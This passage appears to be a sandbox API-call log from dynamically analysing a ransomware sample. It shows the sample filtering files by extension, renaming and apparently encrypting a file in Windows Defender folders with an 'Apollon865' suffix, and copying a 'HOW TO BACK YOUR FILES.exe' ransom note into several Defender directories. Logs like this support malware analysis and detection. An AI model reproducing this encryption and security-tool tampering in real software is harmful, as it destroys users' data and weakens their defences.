	[0079.407] lstrlenW (lpString="nyf") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="nyf") returned -1
	[0079.407] lstrlenW (lpString="odb") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="odb") returned -1
	[0079.407] lstrlenW (lpString="odb") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="odb") returned -1
	[0079.407] lstrlenW (lpString="oqy") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="oqy") returned -1
	[0079.407] lstrlenW (lpString="ora") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="ora") returned -1
	[0079.407] lstrlenW (lpString="orx") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="orx") returned -1
	[0079.407] lstrlenW (lpString="owc") returned 3
	[0079.407] lstrcmpiW (lpString1="bin", lpString2="owc") returned -1
	[0079.407] lstrlenW (lpString="p96") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="p96") returned -1
	[0079.408] lstrlenW (lpString="p97") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="p97") returned -1
	[0079.408] lstrlenW (lpString="pan") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="pan") returned -1
	[0079.408] lstrlenW (lpString="pdb") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="pdb") returned -1
	[0079.408] lstrlenW (lpString="pdm") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="pdm") returned -1
	[0079.408] lstrlenW (lpString="pnz") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="pnz") returned -1
	[0079.408] lstrlenW (lpString="qry") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="qry") returned -1
	[0079.408] lstrlenW (lpString="qvd") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="qvd") returned -1
	[0079.408] lstrlenW (lpString="rbf") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="rbf") returned -1
	[0079.408] lstrlenW (lpString="rctd") returned 4
	[0079.408] lstrcmpiW (lpString1=".bin", lpString2="rctd") returned -1
	[0079.408] lstrlenW (lpString="rod") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="rod") returned -1
	[0079.408] lstrlenW (lpString="rodx") returned 4
	[0079.408] lstrcmpiW (lpString1=".bin", lpString2="rodx") returned -1
	[0079.408] lstrlenW (lpString="rpd") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="rpd") returned -1
	[0079.408] lstrlenW (lpString="rsd") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="rsd") returned -1
	[0079.408] lstrlenW (lpString="sas7bdat") returned 8
	[0079.408] lstrcmpiW (lpString1="pSfc.bin", lpString2="sas7bdat") returned -1
	[0079.408] lstrlenW (lpString="sbf") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="sbf") returned -1
	[0079.408] lstrlenW (lpString="scx") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="scx") returned -1
	[0079.408] lstrlenW (lpString="sdb") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="sdb") returned -1
	[0079.408] lstrlenW (lpString="sdc") returned 3
	[0079.408] lstrcmpiW (lpString1="bin", lpString2="sdc") returned -1
	[0079.408] lstrlenW (lpString="sdf") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="sdf") returned -1
	[0079.409] lstrlenW (lpString="sis") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="sis") returned -1
	[0079.409] lstrlenW (lpString="spq") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="spq") returned -1
	[0079.409] lstrlenW (lpString="te") returned 2
	[0079.409] lstrcmpiW (lpString1="in", lpString2="te") returned -1
	[0079.409] lstrlenW (lpString="teacher") returned 7
	[0079.409] lstrcmpiW (lpString1="Sfc.bin", lpString2="teacher") returned -1
	[0079.409] lstrlenW (lpString="tmd") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="tmd") returned -1
	[0079.409] lstrlenW (lpString="tps") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="tps") returned -1
	[0079.409] lstrlenW (lpString="trc") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="trc") returned -1
	[0079.409] lstrlenW (lpString="trc") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="trc") returned -1
	[0079.409] lstrlenW (lpString="trm") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="trm") returned -1
	[0079.409] lstrlenW (lpString="udb") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="udb") returned -1
	[0079.409] lstrlenW (lpString="udl") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="udl") returned -1
	[0079.409] lstrlenW (lpString="usr") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="usr") returned -1
	[0079.409] lstrlenW (lpString="v12") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="v12") returned -1
	[0079.409] lstrlenW (lpString="vis") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="vis") returned -1
	[0079.409] lstrlenW (lpString="vpd") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="vpd") returned -1
	[0079.409] lstrlenW (lpString="vvv") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="vvv") returned -1
	[0079.409] lstrlenW (lpString="wdb") returned 3
	[0079.409] lstrcmpiW (lpString1="bin", lpString2="wdb") returned -1
	[0079.409] lstrlenW (lpString="wmdb") returned 4
	[0079.409] lstrcmpiW (lpString1=".bin", lpString2="wmdb") returned -1
	[0079.409] lstrlenW (lpString="wrk") returned 3
	[0079.410] lstrcmpiW (lpString1="bin", lpString2="wrk") returned -1
	[0079.410] lstrlenW (lpString="xdb") returned 3
	[0079.410] lstrcmpiW (lpString1="bin", lpString2="xdb") returned -1
	[0079.410] lstrlenW (lpString="xld") returned 3
	[0079.410] lstrcmpiW (lpString1="bin", lpString2="xld") returned -1
	[0079.410] lstrlenW (lpString="xmlff") returned 5
	[0079.410] lstrcmpiW (lpString1="c.bin", lpString2="xmlff") returned -1
	[0079.410] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.Apollon865") returned 93
	[0079.410] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin.apollon865"), dwFlags=0x1) returned 1
	[0079.411] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.411] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=211808) returned 1
	[0079.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.411] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0079.412] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.412] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.412] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33e60, lpName=0x0) returned 0x15c
	[0079.413] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33e60) returned 0x120000
	[0079.424] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.425] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.425] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.425] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0079.427] CloseHandle (hObject=0x15c) returned 1
	[0079.427] CloseHandle (hObject=0x9c) returned 1
	[0079.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.427] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.428] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 0
	[0079.428] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.429] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0079.429] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine"
	[0079.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0079.429] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0079.429] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned 56
	[0079.429] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine"
	[0079.429] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.429] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.429] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.429] GetLastError () returned 0x0
	[0079.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.430] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.430] CloseHandle (hObject=0x10c) returned 1
	[0079.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.430] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.430] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.430] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.430] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.430] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.430] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.430] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.430] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.430] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.430] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.430] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.430] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.430] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.430] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.430] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0079.430] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy"
	[0079.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0079.430] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned 55
	[0079.430] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy"
	[0079.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.431] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.431] GetLastError () returned 0x0
	[0079.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.431] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.431] CloseHandle (hObject=0x10c) returned 1
	[0079.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.431] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.431] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.432] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.432] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.432] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.432] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.432] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.432] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.432] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.432] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.432] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.432] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.432] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.432] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.432] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0079.432] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates"
	[0079.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0079.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0079.432] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned 64
	[0079.432] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates"
	[0079.432] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.432] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.433] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.433] GetLastError () returned 0x0
	[0079.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.433] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.433] CloseHandle (hObject=0x10c) returned 1
	[0079.433] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.433] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.433] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.433] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.433] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.433] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.433] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.433] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.433] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.434] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.434] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8e63d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
